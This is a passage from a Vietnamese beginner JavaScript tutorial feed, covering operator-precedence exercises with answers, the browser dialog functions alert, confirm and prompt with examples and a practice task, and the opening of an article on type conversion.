<code>?:</code></li> <li>Toán tử "Nullish coalescing" <code>??</code></li> </ul> <p>Mỗi toán tử có độ ưu tiên riêng. Toán tử với độ ưu tiên cao hơn sẽ thực hiện trước. Trường hợp các toán tử có cùng độ ưu tiên thì thứ tự thực hiện các phép toán là từ trái sang phải.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1-cho-đoạn-code-sau" style="position:relative;"><a href="#b%C3%A0i-1-cho-%C4%91o%E1%BA%A1n-code-sau" aria-label="bài 1 cho đoạn code sau permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1: Cho đoạn code sau:</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">let</span> b <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token keyword">const</span> c <span class="token operator">=</span> a<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token comment">// (1)</span> <span class="token keyword">const</span> d <span class="token operator">=</span> <span class="token operator">--</span>b<span class="token punctuation">;</span> <span class="token comment">// (2)</span> <span class="token keyword">const</span> e <span class="token operator">=</span> c <span class="token operator">+</span> d <span class="token operator">+</span> <span class="token string">"n"</span><span class="token punctuation">;</span> <span class="token comment">// (3)</span></code></pre></div> <p>Giá trị của <code>a</code>, <code>b</code>, <code>c</code>, <code>d</code> và <code>e</code> sau đoạn code là gì?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Giải thích:</p> <ul> <li>(1): <code>c = a</code> thực hiện trước nên c bằng 1. Sau đó, <code>a++</code> thực hiện, nên a bằng 2</li> <li>(2): <code>--b</code> thực hiện trước nên <code>b = 2 - 1 = 1</code>. Sau đó, <code>d = b</code> thực hiện, nên d bằng 1</li> <li>(3): biếu thức <code>c + d + "n"</code> chỉ toàn phép cộng nên sẽ thực hiện từ trái sang phải. Đầu tiên, <code>c + d</code> thực hiện bằng <code>1 + 1 = 2</code>. Sau đó, <code>2 + "n"</code> thực hiện. Số <code>2</code> sẽ bị chuyển thành kiểu <strong>string</strong>, nên kết quả <code>e = 2n</code></li> </ul> <p>Kết quả:</p> <ul> <li><code>a = 2</code></li> <li><code>b = 1</code></li> <li><code>c = 1</code></li> <li><code>d = 1</code></li> <li><code>e = "2n"</code></li> </ul> </div> </div> </div> <h3 id="bài-2-cho-đoạn-code-sau" style="position:relative;"><a href="#b%C3%A0i-2-cho-%C4%91o%E1%BA%A1n-code-sau" aria-label="bài 2 cho đoạn code sau permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2: Cho đoạn code sau:</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> x <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token keyword">let</span> y <span class="token operator">=</span> <span class="token number">1</span> <span class="token operator">+</span> <span class="token punctuation">(</span>x <span class="token operator">*=</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hỏi giá trị của <code>x</code> và <code>y</code> sau đoạn code trên là gì?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Giải thích:</p> <ul> <li><code>x *= 2</code> thực hiện trước, suy ra <code>x = x * 2 = 10 * 2 = 20</code>.</li> <li>Sau đó, <code>y = 1 + 20 = 21</code>.</li> </ul> <p>Kết quả:</p> <ul> <li><code>x = 20</code></li> <li><code>y = 21</code></li> </ul> </div> </div> </div>[email protected]<![CDATA[Tương tác người dùng với: alert, confirm và prompt]]><![CDATA[Trong bài viết về chương trình JavaScript đầu tiên, mình có đề cập đến việc hiển thị hộp thoại với hàm alert. Đây là một trong ba hàm giúp tương tác người dùng mà mình sẽ tìm hiểu…]]>https://completejavascript.com/ham-tuong-tac-nguoi-dung-alert-confirm-prompt/https://completejavascript.com/ham-tuong-tac-nguoi-dung-alert-confirm-prompt/<![CDATA[Trình duyệt]]>Wed, 03 May 2017 19:15:00 GMT<p>Trong bài viết về <a href="/chuong-trinh-javascript-dau-tien/">chương trình JavaScript đầu tiên</a>, mình có đề cập đến việc hiển thị hộp thoại với hàm <code>alert</code>. Đây là một trong ba hàm giúp tương tác người dùng mà mình sẽ tìm hiểu kỹ hơn trong bài viết này.</p> <h2 id="tương-tác-người-dùng-với-hàm-alert" style="position:relative;"><a href="#t%C6%B0%C6%A1ng-t%C3%A1c-ng%C6%B0%E1%BB%9Di-d%C3%B9ng-v%E1%BB%9Bi-h%C3%A0m-alert" aria-label="tương tác người dùng với hàm alert permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tương tác người dùng với hàm <code>alert</code></h2> <p>Hàm <code>alert</code> dùng để hiển thị hộp thoại, bao gồm nội dung tin nhắn và nút bấm (button) <strong>OK</strong>. Khi người dùng bấm vào <strong>OK</strong> thì hộp thoại sẽ đóng lại.</p> <p>Cú pháp:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">alert(message);</code></pre></div> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"Say hello from completejavascript.com"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 38.18181818181819%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAx0lEQVQY06WOy0rEQBBF8/H+gF/iUlz5FYKrSbrtGRqSTFKPfnenJckoKBkQvByqanMu1QzDMI7jdbz2fQ8AiETMOeeUUopxZd2xlLJ8JZWSS8k5N8GnGFLwPyA0WusPKS+XsxRCKQWItda9Yj8IufEu/iL4BDO5LT54ZjbWheDrlmWpT2/0/E4EdCzPExCRtdYYs09jzNrCjMQPL/LxVeIMxzKTlUK1J9G1smvFhuy6G5NWkz4jHL39XXEP61a8i3flv/Av+ROHecq3hO1aHQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ví dụ hiển thị hàm alert" title="Ví dụ hiển thị hàm alert" src="/static/05a454df93d5cd4f04db0e4b7419e5b9/7c811/vi-du-ham-alert.png" srcset="/static/05a454df93d5cd4f04db0e4b7419e5b9/103f2/vi-du-ham-alert.png 165w, /static/05a454df93d5cd4f04db0e4b7419e5b9/748ba/vi-du-ham-alert.png 330w, /static/05a454df93d5cd4f04db0e4b7419e5b9/7c811/vi-du-ham-alert.png 660w, /static/05a454df93d5cd4f04db0e4b7419e5b9/d28e0/vi-du-ham-alert.png 990w, /static/05a454df93d5cd4f04db0e4b7419e5b9/c2a07/vi-du-ham-alert.png 1053w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Hộp thoại này còn được gọi là "modal window". Nghĩa là người dùng <strong>chỉ tương tác được với hộp thoại</strong> mà <strong>không tương tác được với nội dung còn lại</strong> của trang web (bên dưới hộp thoại).</p> <p>👉 <a href="https://blogpost-demo.pages.dev/interaction/alert">Xem demo hàm alert()</a></p> <h2 id="tương-tác-người-dùng-với-hàm-confirm" style="position:relative;"><a href="#t%C6%B0%C6%A1ng-t%C3%A1c-ng%C6%B0%E1%BB%9Di-d%C3%B9ng-v%E1%BB%9Bi-h%C3%A0m-confirm" aria-label="tương tác người dùng với hàm confirm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tương tác người dùng với hàm <code>confirm</code></h2> <p>Tương tự như hàm <code>alert</code>, hàm <code>confirm</code> cũng đưa ra một thông báo trực tiếp tới người dùng.</p> <p>Tuy nhiên, hàm <code>confirm</code> yêu cầu người dùng xác nhận bằng cách chọn <strong>OK</strong> hoặc <strong>Cancel</strong>.</p> <ul> <li>Nếu người dùng chọn <strong>OK</strong> thì hàm <code>confirm</code> trả về <code>true</code>.</li> <li>Ngược lại, nếu người dùng chọn <strong>Cancel</strong> thì kết quả trả về là <code>false</code>.</li> </ul> <p>Cú pháp:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">result = confirm(message);</code></pre></div> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> result <span class="token operator">=</span> <span class="token function">confirm</span><span class="token punctuation">(</span><span class="token string">"Bạn muốn tiếp tục sử dụng chương trình?"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">alert</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// result = true nếu người dùng bấm OK.</span> <span class="token comment">// result = false nếu người dùng bấm Cancel.</span></code></pre></div> <p>Kết quả:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 35.75757575757576%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAxUlEQVQY04WQsU7DMBRF8/9fwMaHMLMwVx2QqiSW6qT2c0v8kvraz3GqtlAhUODoDHc5y62890TuDhH5K8zMIoIHIaSUSil5niXPd0SkAiTGHCERkm4DEITkB67rWrWtUqppat11AJYvSinsxwoh/fY8ReaxfEPyvCzLRo/Pb9b5KZwnvxYjJEdHa429QZaMsf7kXjfN08v2fdco1To6rcbDB+t93+nDQ73vnTHTkczB9L0ZBl6NEa4X/DAiA58bIf0R/+8Fo5aQiF4QgXEAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ví dụ hiển thị hàm confirm" title="Ví dụ hiển thị hàm confirm" src="/static/326db40ef37ec669a95c6840c507f0cd/7c811/vi-du-ham-confirm.png" srcset="/static/326db40ef37ec669a95c6840c507f0cd/103f2/vi-du-ham-confirm.png 165w, /static/326db40ef37ec669a95c6840c507f0cd/748ba/vi-du-ham-confirm.png 330w, /static/326db40ef37ec669a95c6840c507f0cd/7c811/vi-du-ham-confirm.png 660w, /static/326db40ef37ec669a95c6840c507f0cd/d28e0/vi-du-ham-confirm.png 990w, /static/326db40ef37ec669a95c6840c507f0cd/b0f6f/vi-du-ham-confirm.png 1042w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Tương tự như hàm <code>alert</code>, hộp thoại với hàm <code>confirm</code> cũng là dạng "modal window".</p> <p>👉 <a href="https://blogpost-demo.pages.dev/interaction/confirm">Xem demo hàm confirm()</a></p> <h2 id="tương-tác-người-dùng-với-hàm-prompt" style="position:relative;"><a href="#t%C6%B0%C6%A1ng-t%C3%A1c-ng%C6%B0%E1%BB%9Di-d%C3%B9ng-v%E1%BB%9Bi-h%C3%A0m-prompt" aria-label="tương tác người dùng với hàm prompt permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tương tác người dùng với hàm <code>prompt</code></h2> <p>Hàm <code>prompt</code> cũng lại tương tự như hàm <code>confirm</code> và hàm <code>alert</code> nhưng cho phép người dùng nhập vào <a href="/kieu-du-lieu-trong-javascript/#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-string">string</a>.</p> <p>Cú pháp:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">result = prompt(title, [defaultValue]);</code></pre></div> <p>Trong đó:</p> <ul> <li><strong>title</strong>: nội dung chữ hiển thị tới người dùng.</li> <li><strong>defaultValue</strong>: giá trị mặc định cho ô nhập (input) và đây là giá trị không bắt buộc.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> name <span class="token operator">=</span> <span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Nhập vào tên của bạn:"</span><span class="token punctuation">,</span> <span class="token string">"Anonymous"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">alert</span><span class="token punctuation">(</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 36.36363636363637%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA1klEQVQY03WQy0rDUBBA+9V+gP/TtSv3IuhGd9I0Nw3YNk1z77wn8TbSQLBCczgMszkMzIpJUgRICAkgIpEQibCqauzOABCvdCIyjuNlJuds5ivT3m34UwfTwaRvT+evTRF2dV3XTXNCxJzzz0TO2d0R6BrfUfzYpvX7/i10g6u5m5mIsAizqAoiQsI7sVsvbMQ83nCZ5uPz8eHp0LRtjBGBFy5rv/8+bLehLKswW4Xq9bN4+dgURRnKChItxkyaIkKiWxVZkSExAqv4Yvzvi7M2vXPe+19B6o9d2TNh8AAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ví dụ hiển thị hàm prompt" title="Ví dụ hiển thị hàm prompt" src="/static/9e2d187fb8de2649e30c9fc8b80e7981/7c811/vi-du-ham-prompt.png" srcset="/static/9e2d187fb8de2649e30c9fc8b80e7981/103f2/vi-du-ham-prompt.png 165w, /static/9e2d187fb8de2649e30c9fc8b80e7981/748ba/vi-du-ham-prompt.png 330w, /static/9e2d187fb8de2649e30c9fc8b80e7981/7c811/vi-du-ham-prompt.png 660w, /static/9e2d187fb8de2649e30c9fc8b80e7981/d28e0/vi-du-ham-prompt.png 990w, /static/9e2d187fb8de2649e30c9fc8b80e7981/cb866/vi-du-ham-prompt.png 1056w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Trong ví dụ trên:</p> <ul> <li>Giá trị <strong>title</strong> là <code>Nhập vào tên của bạn:</code>.</li> <li>Giá trị <strong>defaultValue</strong> là <code>Anonymous</code>.</li> </ul> <p>Khi người dùng nhấn vào <strong>OK</strong> hoặc <strong>Cancel</strong> thì hộp thoại sẽ đóng lại. Với trường hợp <strong>OK</strong>, giá trị trả về là giá trị trong ô nhập <strong>input</strong> lúc đó. Với trường hợp <strong>Cancel</strong> thì giá trị trả về là <code>null</code>.</p> <p>👉 <a href="https://blogpost-demo.pages.dev/interaction/prompt">Xem demo hàm prompt()</a></p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Trên đây mình đã giới thiệu với bạn về ba hàm tương tác người dùng:</p> <ul> <li>Hàm <code>alert</code>: hiển thị hộp thoại với dòng chữ.</li> <li>Hàm <code>confirm</code>: hiển thị hộp thoại với dòng chữ và yêu cầu người dùng nhấn vào <strong>OK</strong> hoặc <strong>Cancel</strong>. <ul> <li>Nếu người dùng nhấn vào <strong>OK</strong> thì hộp thoại đóng lại và trả về giá trị <code>true</code>.</li> <li>Nếu người dùng nhấn vào <strong>Cancel</strong>, hộp thoại cũng đóng lại, nhưng trả về giá trị <code>false</code>.</li> </ul> </li> <li>Hàm <code>prompt</code>: hiển thị hộp thoại với dòng chữ và yêu cầu người dùng nhập nội dung vào ô nhập (input). Sau đó, yêu cầu người dùng nhấn vào <strong>OK</strong> hoặc <strong>Cancel</strong>. <ul> <li>Nếu người dùng nhấn vào <strong>OK</strong> thì hộp thoại đóng lại và trả về giá trị hiện tại của ô nhập.</li> <li>Nếu người dùng nhấn vào <strong>Cancel</strong>, hộp thoại cũng đóng lại, nhưng trả về giá trị <code>null</code>.</li> </ul> </li> </ul> <p>Cả ba hàm trên đều hiển thị hộp thoại dạng "modal window". Nghĩa là người dùng chỉ tương tác được với hộp thoại mà không tương tác được với nội dung bên dưới hộp thoại.</p> <p>Bạn có thể thấy rằng, ba hàm trên đều rất đơn giản, dễ sử dụng. Nhưng nhược điểm của chúng là: bạn không thể quyết định được giao diện hiển thị của hộp thoại. Mà giao diện hộp thoại hoàn toàn phụ thuộc vào trình duyệt.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <p>Tạo một trang web đơn giản với chức năng là hỏi người dùng bao nhiêu tuổi "How old are you?", với giá trị mặc định là <code>18</code>.</p> <p>Sau đó, hiển thị nội dung tương ứng với giá trị người dùng nhập vào "You are X years old!" (với <strong>X</strong> là giá trị người dùng đã nhập).</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token keyword">const</span> age <span class="token operator">=</span> <span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"How old are you!"</span><span class="token punctuation">,</span> <span class="token number">18</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"You are "</span> <span class="token operator">+</span> age <span class="token operator">+</span> <span class="token string">" years old!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre></div> <p>👉 <a href="https://blogpost-demo.pages.dev/interaction/task">Xem demo đáp án bài thực hành</a></p> </div> </div> </div>[email protected]<![CDATA[Chuyển đổi kiểu dữ liệu trong JavaScript]]><![CDATA[Bài viết trước bạn đã biết về 8 kiểu dữ liệu cơ bản trong JavaScript. Và khi học về toán tử hay hàm, bạn sẽ thấy là các kiểu dữ liệu này có thể được chuyển đổi cho nhau. Đó gọi là…]]>https://completejavascript.com/chuyen-doi-kieu-du-lieu-trong-javascript/https://completejavascript.com/chuyen-doi-kieu-du-lieu-trong-javascript/<![CDATA[Kiểu dữ liệu]]>Wed, 03 May 2017 19:00:00 GMT<p>Bài viết trước bạn đã biết về <a href="/kieu-du-lieu-trong-javascript/">8 kiểu dữ liệu cơ bản</a> trong JavaScript. Và khi học về <a href="/toan-tu-la-gi-toan-tu-trong-javascript/">toán tử</a> hay <a href="/ham-la-gi-ham-trong-javascript/">hàm</a>, bạn sẽ thấy là các kiểu dữ liệu này có thể được chuyển đổi cho nhau. Đó gọi là "chuyển đổi kiểu dữ liệu".</p> <blockquote> <p>Sau đây, mình chỉ tập trung vào những chuyển đổi kiểu dữ liệu thường dùng nhất là: <strong>string, number và boolean</strong>.</p> </blockquote> <h2 id="chuyển-đổi-kiểu-dữ-liệu-sang-string" style="position:relative;"><a href="#chuy%E1%BB%83n-%C4%91%E1%BB%95i-ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-sang-string" aria-label="chuyển đổi kiểu dữ liệu sang string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chuyển đổi kiểu dữ liệu sang string</h2> <p>Để chuyển đổi bất kỳ kiểu dữ liệu nào sang string, bạn có thể dùng hàm <code>String(value)</code>.</p> <p>Một số ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">String</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "1"</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">String</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "NaN"</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">String</span><span class="token punctuation">(</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "Infinity"</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">String</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "true"</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">String</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "false"</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">String</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "null"</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">String</span><span class="token punctuation">(</span><span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "undefined"</span></code></pre></div> <blockquote> <p>Bạn có thấy rằng, chuyển đổi kiểu dữ liệu sang string khá đơn giản về dễ hiểu phải không?</p> <p>Chỉ cần thêm cặp dấu nháy kép <code>""</code> là xong. Còn về hình thức thì mọi thứ vẫn giữ nguyên.</p> </blockquote> <h2 id="chuyển-đổi-kiểu-dữ-liệu-sang-number" style="position:relative;"><a href="#chuy%E1%BB%83n-%C4%91%E1%BB%95i-ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-sang-number" aria-label="chuyển đổi kiểu dữ liệu sang number permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 